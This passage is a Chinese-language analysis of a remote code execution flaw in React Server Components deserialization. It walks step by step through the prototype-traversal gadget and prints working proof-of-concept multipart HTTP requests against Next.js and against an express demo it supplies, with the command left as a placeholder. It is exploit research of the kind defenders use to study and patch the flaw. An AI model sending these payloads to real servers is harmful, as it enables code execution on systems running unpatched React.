// const module = require("app/testAction.js");
// return module["test"];
return resolvedValue;
  }

步骤 11: 最终结果

// loadServerReference 返回后
rawModel["action"] = 返回的函数引用
// 最终 chunk[0].value 变为:
{
action: [Function: test]  // 指向 app/testAction.js 的 test 函数
}

至此,完成了一次动态加载的引用。

可以得到以下链路:

用户请求
    ↓
[1] decodeReplyFromBusboy() - 解析 multipart 数据
    ↓
[2] resolveField() - 处理字段
    ↓
[3] resolveModelChunk() - 标记为 RESOLVED_MODEL
    ↓
[4] initializeModelChunk() - JSON.parse() 解析数据
    ↓
[5] reviveModel() - 递归恢复对象结构
    ↓
[6] parseModelString() - 识别标记
    ↓
[7] getOutlinedModel() - 获取引用数据
    ↓
[8] loadServerReference() - 加载服务器函数引用
    ↓
[9] requireModule() - 加载模块导出
    ↓
[10] moduleExports[metadata[NAME]]

综上,我们可以得到以下的从 source 到 sink 路径示意图:

Input (multipart/form-data)     ←【source】
       │
       ▼
decodeReplyFromBusboy
       │
       ▼
parseModelString
       │
       ▼
reviveModel()
   ├──> if (newValue !== undefined) value[key] = newValue   ←【sink】
   │         └───────┐
   │                 ▼
   │        key === "__proto__" → prototype chain pollution
   │
   └──> loadServerReference()

2、寻找一个 gadget

上面整个从 source 到 sink 的流程跑通以后,实际上我们的目标也就明确了。就是找一个关键的 reference。为什么这么说呢,如果你读到这里,认真阅读了上面的详细步骤,那么一定会有一个关键的发现。在 getOutlinedModel 函数中,这个路径解析很关键:

functiongetOutlinedModel<T>(
  response: Response,
  reference: string,  // 用户可控
  parentObject: Object,
  key: string,
  map: (response, model, parentObject, key) => T,
): T
{
// 解析路径
const path = reference.split(':');
const id = parseInt(path[0], 16);
const chunk = getChunk(response, id);
switch (chunk.status) {
case INITIALIZED:
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
const name = path[i];  //  可控点
// 修复前:直接访问
        value = value[name];
// 如果 name = "__proto__":
// value = value["__proto__"]
// → 访问 Object.prototype ,实现原型链污染
// 修复后:检查自有属性
if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
          value = value[name];
        }
      }
return map(response, value, parentObject, key);
  }
}

在上面的示例中,我们传入的是

name="0": {"action""$F1"}
name="1": {"id""app/testAction.js#test""bound"null}

因此路径解析的结果就是:

const path = reference.split(':');
// reference = "1"   → path = ["1"]  → 无需遍历

但如果传入的是:

name="0": {"action""$F1:a"}
name="1": {"id""app/testAction.js#test""bound"null}

那么路径解析的结果就是:

const path = reference.split(':');
// reference = "1:a"     → path = ["1", "a"]    → 遍历 1 次

同理,如果传入的是:

name="0": {"action""$F1:a:b"}
name="1": {"id""app/testAction.js#test""bound"null}

路径解析的结果就是:

const path = reference.split(':');
// reference = "1:a:b"   → path = ["1", "a", "b"] → 遍历 2 次

且根据 getOutlinedModel 的逻辑,

let value = chunk.value;
...
const name = path[i];
value = value[name];

那么最后一个示例的调用关系就是:

a[b]

到这里是不是就更清楚一点了。

是的,如果我们传入的是:

name="0": {"action""$F1:__proto__:constructor"}
name="1": {"id""app/testAction.js#test""bound"null}

那么解析就会变成:

reference = "1:__proto__:constructor"
  ↓
path = ["1""__proto__""constructor"]
  ↓
value = chunk[1].value;  // {id: "...", bound: null}
  ↓
for (let i = 1; i < 3; i++) {
// i = 1:
const name = "__proto__";
  value = value["__proto__"];  // → Object.prototype
const name = "constructor";
  value = value["constructor"];  // → Function
}

最终变成了 value = Function 构造函数 的调用形式。

所以关键流程变成了:

"1:__proto__:constructor:constructor"
                        │
                        ▼
      resolvePropertyReference(chunk1, ["__proto__""constructor""constructor"])
                        │
                        ▼
Function ←  任意代码执行 gadget

遗憾的是,笔者在漏洞刚发布的时候,也就分析到这里,没有找到这个 gadget。

下面我们就一起学习一下这个 gadget 的精彩构造吧。

3、 Chunk 套 Chunk ---> RCE gadget

先看看 poc 长啥样:

https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"恶意代码","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

这个 poc 是针对于 next.js 的,我们可以简化一下,不要考虑 next.js 内部对于 React 的包装,可以自己创建一个 express + React 的 demo:

// server.js
const express = require('express');
const busboy = require('busboy');
const app = express();
let decodeReply, decodeReplyFromBusboy;
asyncfunctioninitReactServer({
constmodule = awaitimport('react-server-dom-webpack/server');
  decodeReplyFromBusboy = module.decodeReplyFromBusboy;
}
app.post('/api/decode-busboy'async (req, res) => {
try {
const bb = busboy({ headers: req.headers });
const reply = decodeReplyFromBusboy(bb);
    req.pipe(bb);
const args = await reply;
    res.json({
successtrue,
method'decodeReplyFromBusboy',
decodedData: args,
    });
  } catch (error) {
    res.status(500).json({
successfalse,
error: error.message,
    });
  }
});
asyncfunctionstart({
await initReactServer();
const PORT = process.env.PORT || 3000;
  app.listen(PORT, () => {
console.log(`✨ Server running on http://localhost:${PORT}`);
console.log(`   POST http://localhost:${PORT}/api/decode-busboy`);
  });
}
start();

package.json 如下:

{
"name""nextjs-rsc-decode-demo",
"version""1.0.0",
"description""Demo for React Server Components decodeReply and decodeReplyFromBusboy",
"type""commonjs",
"scripts": {
"dev""node --conditions react-server server.js",
"start""node --conditions react-server server.js"
  },
"dependencies": {
"express""^4.18.2",
"react""19.2.0",
"react-dom""19.2.0",
"react-server-dom-webpack""19.2.0",
"busboy""^1.6.0"
  },
"devDependencies": {
"@types/busboy""^1.5.0"
  }
}

创建好两个文件后,直接 npm install ,然后 npm run dev 即可。POC 就可以简化为:

POST /api/decode-busboy HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 530
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":0,"value":"{\"then\":\"$B\"}","_response":{"_prefix":"恶意代码","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@abc"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

同样的,可以将上面的 payload 格式化为如下的数据:

name="0": {
"then""$1:__proto__:then",
"status""resolved_model",
"reason": 0,
"value""{\"then\":\"$B\"}",
"_response": {
"_prefix""恶意代码",
"_formData": {
"get""$1:constructor:constructor"
    }
  }
}
name="1""$@abc"

开始跟踪数据栈的解析步骤:

步骤一:数据进入 resolveField

resolveField(response, "0"'{"then":"$1:__proto__:then",...}')
  ↓
  key = "0"
  id = parseInt("0"16) = 0
  ↓
  chunk = response._chunks.get(0);  // undefined
  chunk = createPendingChunk(response);
  response._chunks.set(0, chunk);
  ↓
  resolveModelChunk(response, chunk[0], '{"then":"$1:...",...}'0)

步骤二:resolveModelChunk 设置状态

resolveModelChunk(response, chunk[0], value, 0)
  ↓
  chunk[0].status = RESOLVED_MODEL;
  chunk[0].value = '{"then":"$1:__proto__:then",...}';  // 原始 JSON
  chunk[0].reason = {id0, [RESPONSE_SYMBOL]: response};
  ↓
// 没有 listeners,不会立即初始化
// 等待 getRoot() 调用

步骤三:解析 "$@abc"

resolveField(response, "1"'"$@abc"')
  ↓
  id = 1
  chunk[1] = createPendingChunk(response);
  ↓
  resolveModelChunk(response, chunk[1], '"$@abc"', 1)
  ↓
  initializeModelChunk(chunk[1])
  ↓
  const rawModel = JSON.parse('"$@abc"');
  // rawModel = "$@abc"  (字符串)
  ↓
  reviveModel(response, {''"$@abc"}, ''"$@abc""1")

步骤四:parseModelString 处理 "$@abc"

reviveModel(response, obj, ''"$@abc""1")
  ↓
typeof"$@abc" === 'string' → true
  ↓
  parseModelString(response, obj, ''"$@abc""1")
  ↓
  value[0] === '$' → true
  value[1] === '@' → true// Chunk Reference 标记
  ↓
case'@': {
const id = parseInt(value.slice(2), 16);
// "$@abc" → "abc"
// parseInt("abc", 16) = 2748
// 🔍 获取 chunk[2748]
const chunk = getChunk(response, 2748);
return chunk;  // 返回 chunk 对象本身
  }

步骤五:getChunk 创建 PENDING chunk

getChunk(response, 2748)
  ↓
  chunk = response._chunks.get(2748);  // undefined
  ↓
// 🔍 chunk 不存在,检查 FormData
const key = "0" + (2748).toString(16);  // "0abc"
const backingEntry = response._formData.get("0abc");
if (backingEntry != null) {
// FormData 中有 "0abc" 字段吗?没有!
  } elseif (response._closed) {
// 响应关闭了吗?还没有!
  } else {
// 🔍 创建 PENDING chunk
    chunk = createPendingChunk(response);
    response._chunks.set(2748, chunk);
  }
return chunk;

步骤六:chunk[1] 初始化完成

// initializeModelChunk 继续
const value = reviveModel(...);  // 返回 chunk[2748](PENDING)
  ↓
// 🔍 chunk[1] 初始化为 PENDING 的 chunk[2748]
  chunk[1].status = INITIALIZED;
  chunk[1].value = chunk[2748];  // ← 指向 PENDING chunk

这里核心点在于,chunk[1] 的值是另一个 PENDING 状态的 chunk

Chunk 是 React Flight Protocol 中的数据容器,类似 Promise:

type Chunk = {
  status: 'pending' | 'blocked' | 'resolved_model' | 'fulfilled' | 'rejected',
  value: any,      // 可以是任何值,包括另一个 Chunk!
  reason: any,
  then(resolve, reject): void,  // 实现了 thenable 接口
}

这意味着可以 Chunk 套 Chunk,正常情况下 chunk 的值是普通数据:

chunk[0] = {
status'fulfilled',
value: {id"123"name"test"},  // ← 普通对象
}

而这里的就是特殊情况,chunk 的值是另一个 Chunk:

chunk[1] = {
status'fulfilled',
value: chunk[2748],  // ← 另一个 Chunk 对象!
}

所以在上面 poc 中,引用关系如下:

name="0": {...}
  ↓
chunk[0] 包含 "then""$1:__proto__:then"
  ↓ 解析 "$1:..."
  ↓ 引用 chunk[1]
  ↓
chunk[1] 的值是 "$@abc"
  ↓ 解析 "$@abc"
  ↓ 引用 chunk[2748]
  ↓
chunk[2748] = PENDING (没有对应的数据)
  ↓
等待... (永远不会到来)

因为制造了永远不会被满足的依赖,所以导致整个 getRoot() 关联的 promise 永远不 resolve。

这也就导致了,我们打这个 payload 的时候,如果不做错误抛出,虽然命令执行成功了,但还是会卡在那里。

继续,步骤七:初始化 chunk[0],initializeModelChunk

initializeModelChunk(chunk[0])
  ↓
const resolvedModel = chunk[0].value;
// '{"then":"$1:__proto__:then","status":"resolved_model",...}'
  ↓
  chunk[0].status = BLOCKED;  // 设置为 BLOCKED
  ↓
const rawModel = JSON.parse(resolvedModel);
// rawModel = {
//   then: "$1:__proto__:then",
//   status: "resolved_model",
//   reason: 0,
//   value: '{"then":"$B"}',
//   _response: {
//     _prefix: "恶意代码",
//     _formData: {get: "$1:constructor:constructor"}
//   }
// }
  ↓
const value = reviveModel(response, {'': rawModel}, '', rawModel, "0");

步骤八:reviveModel 递归处理对象

reviveModel(response, {'': rawModel}, '', rawModel, "0")
  ↓
typeof rawModel === 'object' → true
  ↓
//  遍历对象的所有属性
for (const k in rawModel) {
// k 依次为:
// - "then"
// - "status"
// - "reason"
// - "value"
// - "_response"
const newValue = reviveModel(
      response,
      rawModel,
      k,
      rawModel[k],
"0:" + k
    );
// 设置新值
if (newValue !== undefined || k === '__proto__') {
      rawModel[k] = newValue;
    }
  }

步骤九:处理 "then": "$1:proto:then"

// k = "then", rawModel[k] = "$1:__proto__:then"
reviveModel(response, rawModel, "then""$1:__proto__:then""0:then")
  ↓
  typeof "$1:__proto__:then" === 'string' → true
  ↓
  parseModelString(response, rawModel, "then""$1:__proto__:then""0:then")
  ↓
  value[0] === '$' → true
  value[1] === '1' → true (不是特殊标记)
  ↓
default: {  // 处理路径引用
const ref = value.slice(1);  // "1:__proto__:then"
return getOutlinedModel(
      response,
"1:__proto__:then",  // ← reference
      rawModel,             // parentObject
"then",               // key
      createModel,          // map 函数
    );
  }

步骤十:getOutlinedModel 处理路径

getOutlinedModel(response, "1:__proto__:then", rawModel, "then", createModel)
  ↓
const path = "1:__proto__:then".split(':');
// path = ["1", "__proto__", "then"]
const id = parseInt("1"16) = 1;
const chunk = getChunk(response, 1);  // chunk[1]
  ↓
switch (chunk.status) {
case INITIALIZED:
let value = chunk.value;
//  chunk[1].value = chunk[2748](PENDING)
//  遍历路径
for (let i = 1; i < 3; i++) {
// i = 1:
const name = path[1];  // "__proto__"
//  检查 value 的类型
while (value instanceof ReactPromise) {
const referencedChunk = value;  // chunk[2748]
switch (referencedChunk.status) {
case PENDING:
//  chunk[2748] 是 PENDING 状态
// 需要等待初始化
// 但 chunk[2748] 不存在对应的数据,永远不会初始化 就会卡住
// 实际上,这里会调用 waitForReference
return waitForReference(
                referencedChunk,  // chunk[2748]
                rawModel,         // parentObject
"then",           // key
                response,
                createModel,
                ["1""__proto__""then"]  // 剩余路径
              );
          }
        }
      }
  }

这里就到了我们刚才分析的关键点,也是 gadget 的核心的地方。

步骤十一:waitForReference 添加监听器

waitForReference(
  chunk[2748],  // PENDING chunk
  rawModel,     // parentObject
"then",       // key
  response,
  createModel,
  ["1""__proto__""then"]
)
  ↓
//  创建或获取 handler
let handler;
if (initializingHandler) {
    handler = initializingHandler;
    handler.deps++;
  } else {
    handler = initializingHandler = {
      chunk: null,
      value: null,
      reason: null,
      deps: 1,
      errored: false,
    };
  }
// 创建引用对象
const reference = {
    handler,
    parentObject: rawModel,
    key: "then",
    map: createModel,
    path: ["1""__proto__""then"],
  };
//  添加到 chunk[2748] 的监听器
if (chunk[2748].value === null) {
    chunk[2748].value = [reference];
  } else {
    chunk[2748].value.push(reference);
  }
if (chunk[2748].reason === null) {
    chunk[2748].reason = [reference];
  } else {
    chunk[2748].reason.push(reference);
  }
// 返回占位值
return (nullany);

步骤十二:reviveModel 继续处理其他属性

// 回到 reviveModel
for (const k in rawModel) {
// "then" 处理完毕,返回 null
  rawModel["then"] = null;  // 或保持原值
//  继续处理 "status"
// k = "status", value = "resolved_model"
  rawModel["status"] = "resolved_model";  // 保持不变(字符串)
//  继续处理 "reason"
// k = "reason", value = 0
  rawModel["reason"] = 0;  // 保持不变(数字)
//  继续处理 "value"
// k = "value", value = '{"then":"$B"}'
  rawModel["value"] = '{"then":"$B"}';  // 保持不变(字符串)
//  继续处理 "_response"
// k = "_response", value = {...}
const newValue = reviveModel(
    response,
    rawModel,
"_response",
    {_prefix"..."_formData: {...}},
"0:_response"
  );
}

步骤十三:处理 "_response" 对象

reviveModel(response, rawModel, "_response", {_prefix"..."_formData: {...}}, "0:_response")
  ↓
typeof value === 'object' → true
  ↓
// 递归处理 _response 的属性
for (const k in {_prefix"..."_formData: {...}}) {
// k = "_prefix"
// value = "var out = process.mainModule.require(...)..."
// 字符串,不做处理
// k = "_formData"
// value = {get: "$1:constructor:constructor"}
const newValue = reviveModel(
      response,
      _response,
"_formData",
      {get"$1:constructor:constructor"},
"0:_response:_formData"
    );
  }

步骤十四:处理 "_formData.get": "$1:constructor:constructor"

reviveModel(response, _formData, "get", "$1:constructor:constructor", ...)
  ↓
  parseModelString(response, _formData, "get", "$1:constructor:constructor", ...)
  ↓
  default: {
    const ref = "1:constructor:constructor";
    return getOutlinedModel(
      response,
      "1:constructor:constructor",
      _formData,
      "get",
      createModel,
    );
  }

步骤十六:getOutlinedModel 获取 Function

getOutlinedModel(response, "1:constructor:constructor", _formData, "get", createModel)
  ↓
const path = ["1""constructor""constructor"];
const id = 1;
const chunk = chunk[1];  // INITIALIZED
  ↓
  let value = chunk[1].value;  // chunk[2748](PENDING)
//  遍历路径
for (let i = 1; i < 3; i++) {
// i = 1:
while (value instanceof ReactPromise) {
const referencedChunk = value;  // chunk[2748]
switch (referencedChunk.status) {
case PENDING:
// 又遇到 PENDING chunk
// 再次等待
return waitForReference(
            chunk[2748],
            _formData,
"get",
            response,
            createModel,
            ["1""constructor""constructor"]
          );
      }
    }
  }

步骤十七:"$1:constructor:constructor" → 得到 Function 构造器

对于字段:get: "$1:constructor:constructor",会走到:

parseModelString(response, _formData, "get""$1:constructor:constructor""0:_response:_formData:get")
// 默认分支:
const ref = "1:constructor:constructor";
return getOutlinedModel(response, ref, _formData, "get", createModel);

然后在 getOutlinedModel 里:

path = ["1""constructor""constructor"]
id = parseInt("1", 16) = 1
chunk = getChunk(response, 1) → 对应 payload 里 name="1" 那一段("$@abc"

对 chunk[1] 做一次 initializeModelChunk,"$@abc" 会被 parseModelString 按 case '@' 解析成 chunk[0] 这个 ReactPromise 对象本身,于是:

// 初始化后
chunk[1].status = INITIALIZED;
chunk[1].value  = chunk[0];  // 这点和你说的一致:一个 chunk 指向另一个 chunk

然后 getOutlinedModel 中真正的路径遍历发生在:

let value = chunk.value; // = chunk[1].value = chunk[0]
for (let i = 1; i < path.length; i++) {
// unwrap ReactPromise(如果需要)
while (value instanceof ReactPromise) { ... }
const name = path[i]; // 依次为 "constructor"、"constructor"
if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
    value = value[name];
  }
}
const chunkValue = map(response, value, parentObject, key); // map = createModel
return chunkValue;

关键点:

  • chunk[0] 是 ReactPromise 实例,chunk[0].constructor 是构造它的函数(等价于旧版本里说的 Chunk)

  • chunk[0].constructor.constructor === Function

所以这条路径:

value                       // chunk[0]
  → value["constructor"]    // Chunk 构造函数
  → value["constructor"]["constructor"// Function 构造器

最后 createModel 因为 key === 'get'(不是 'then'),所以不会触发那个防御逻辑,直接返回这个 Function 构造器。

于是 reviveModel 把它写回去:_formData.get = Function;

这一刻起,内部的response._formData.get等效于全局的Function构造函数

步骤十八:传参:恶意代码

_response 部分是这样的:

"_response": {
"_prefix""恶意代码",
"_formData": {
"get""$1:constructor:constructor"
  }
}

_prefix 对 reviveModel 来说只是一个普通字符串,不以 $ 开头,所以:

parseModelString(response, _response, "_prefix""process.mainModule.require(...)", ...)
→ value[0] !== '$' → 直接返回原字符串

即 _response._prefix 最终还是那段 Node 代码字符串。

综上,我们得到了以下抽象的数据:

response._formData.get === Function;
response._prefix       === 恶意代码

步骤十九:利用 Function(prefix + id) 构造 payload 函数

接下来是处理 {"then":"$B"} 这一块的内容

在 reviveModel 里解析这一段时,过程是:

inner = { then"$B" }; // JSON.parse 得到内部对象:
  ↓
// parentObj = inner, parentKey = "then", value = "$B"
parseModelString(response, inner, "then""$B""0:value:then")  // 对 inner.then 做一次 reviveModel
  ↓
//parseModelString 看到首字是 $,次字是 B,走 case 'B' 分支(Blob):
case'B': {
const id = parseInt(value.slice(2), 16);  // "" → 0x00
const prefix = response._prefix;          // 已被我们塞成 Node 代码
const blobKey = prefix + id;              // 关键:拼接成一整段 JS 字符串
const backingEntry = response._formData.get(blobKey);
return backingEntry;
}

但现在 _formData.get 已经被改成 Function 了,所以这里实际上变成:

const backingEntry = Function(blobKey);

也就是动态创建了一个函数:

// 概念化示意:
const blobKey = "恶意代码";
const f = Function(blobKey);   // function f() { 恶意代码 }

parseModelString 返回这个函数 f,reviveModel 把它写回 inner.then:

inner.then = f;   // f 的函数体就是塞在 _prefix 里的那段 恶意代码

最后就差这个函数什么时候被调用了。

步骤二十:函数调用

前面我们提到过,getRoot(response) 返回的是 chunk[0] 这个 ReactPromise 对象:

exportfunctiongetRoot(response: Response): Thenable<T{
const chunk = getChunk(response, 0);
return (chunk: any);
}

在 decodeReplyFromBusboy 的实现里,React 会把这个返回值当一个 thenable 来等待,要么直接 .then(...),要么通过 await 让 JS 引擎帮它套一层 Promise。而 JavaScript 的 thenable 规则是:

  • await thenable 或 Promise.resolve(thenable) 时,如果这个对象有 .then 函数,就调用它。

  • 对 ReactPromise 来说,then 是它自己的 ReactPromise.prototype.then:

ReactPromise.prototype.then = function(resolve, reject{
const chunk = this;
  ...
  switch (chunk.status) {
case INITIALIZED:
if (typeof resolve === 'function') {
        resolve(chunk.value);
      }
break;
    ...
  }
}

此时 chunk.status === INITIALIZED,chunk.value 就是上一步中的 fake chunk 对象。

那么第一次 then 调用,JS 引擎会调用:

chunk0.then(resolve, reject); // resolve 是内部创建的 Promise resolve 函数

ReactPromise.prototype.then 里执行:

resolve(chunk0.value);  // 把整个 payload 对象交给 Promise 机制

接着是第二次 then 调用(重点):

  • Promise 规范里,如果 resolve 的是一个带 then 方法的对象,它会继续把它当成 thenable 处理,再去调用那个对象的 .then。

  • 刚刚构造的 chunk0.value 的内部 value 字段包含一个 then: f,在实际场景下,利用的 payload 就是让这条 thenable 路径走到这个 f。

最终效果等价于:

// 某个时刻
f();  // 函数体来自 Function(blobKey),里面调用了 恶意代码

最终,所以一旦 f 函数被调用,就会在服务器上执行我们传入的恶意代码,完成从 RSC 反序列化 → getOutlinedModel → 覆盖 _formData.get → Function(...) → thenable → child_process 的整条 RCE gadget 链。

在这个 gadget 链中,实现调用 Function 构造函数 只是第一步,更精彩的是如何使用传入的字符串来调用这个函数,也即 call gadget 这个过程,作者巧妙的借用 Chunk 套 Chunk 的思路成功实现了这个串联,是真的牛逼。

4、漏洞修复分析

payload 里有一个核心 trick:

让 chunk[1].value = chunk[2748](一个永远 PENDING 的 chunk),然后 then: "1:constructor:constructor",通过 getOutlinedModel 在“走 path 的过程中”不断遇到 ReactPromise,再 waitForReference,把自己挂到还没出现的 chunk 上。

现在的逻辑变成:

  • 所有“引用另一个 chunk”的行为,最终都归入 InitializationHandler 的 deps 计数;

  • 一旦某个依赖 chunk 最终解析失败 / 全局错误(reportGlobalError)触发,整条链统一 error,而不是留一个还在 PENDING 的洞给它卡住。

也就是说,利用永远不会到来的 chunk 来绕过一部分检查这条路基本被堵死了。

但就一点可能就没了吗?

再来看看 reviveModel :

if (typeof value === 'string') {
return parseModelString(response, parentObj, parentKey, value, reference);
}
...
for (const key in value) {
if (hasOwnProperty.call(value, key)) {
const childRef = reference !== undefined && key.indexOf(':') === -1
      ? reference + ':' + key
      : undefined;
const newValue = reviveModel(response, value, key, value[key], childRef);
if (newValue !== undefined || key === '__proto__') {
      value[key] = newValue;
    } else {
delete value[key];
    }
  }
}

虽然这里将 proto 视为普通属性,但同样意味着,Flight 协议级别的“原型链污染”语义仍然存在,这不是修补掉的。React 自己现在尽量不把“解出来的对象”再喂回内部敏感结构(比如 _formData 实例),但业务代码如果拿 decode 出来的对象做 deepMerge 或者配置合并等,那就是应用层的新漏洞。

此外,Flight 协议依然非常复杂,$ 前缀字符串有一堆语义(chunk 引用、server reference、symbol、typed array、临时引用等),所有这些路径都在 parseModelString → getOutlinedModel → waitForReference → loadServerReference 这套比较绕的逻辑里走,这类代码很难凭肉眼说“百分之百没有逻辑缺陷”,只能说目前没有发现新的。

三、总结

1、使用了 React 不一定会使用 RSC(React Server Components),也就是不是所有使用了 React 框架的项目都会存在这个漏洞,通常来说传统的前后端分离架构项目、使用 Vite + React 纯前端开发的项目、后端是独立服务(Java Spring、Django 等)的项目以及需要高度的前后端解耦的项目都不会存在这个漏洞,只有使用了 RSC 的项目才存在。

2、虽然目前大多数项目仍然使用传统的 SPA + API 模式,RSC 主要在 Next.js 生态中使用,并不是主流的默认选择,但由于其敏捷性和 AI 动手写代码,导致现在影响量巨大。

3、从修复角度来看,当前实现 RCE 的路子已经被堵死,但是还是存在新漏洞的可能。

4、分析完后,可以发现,这个漏洞严格说,并不是典型的“往 Object.prototype 上写属性”的全局污染,而是通过路径遍历滥用原型链(__proto__)来拿到 Function 等危险对象,再借助内置逻辑完成 RCE。

阅读原文

跳转微信打开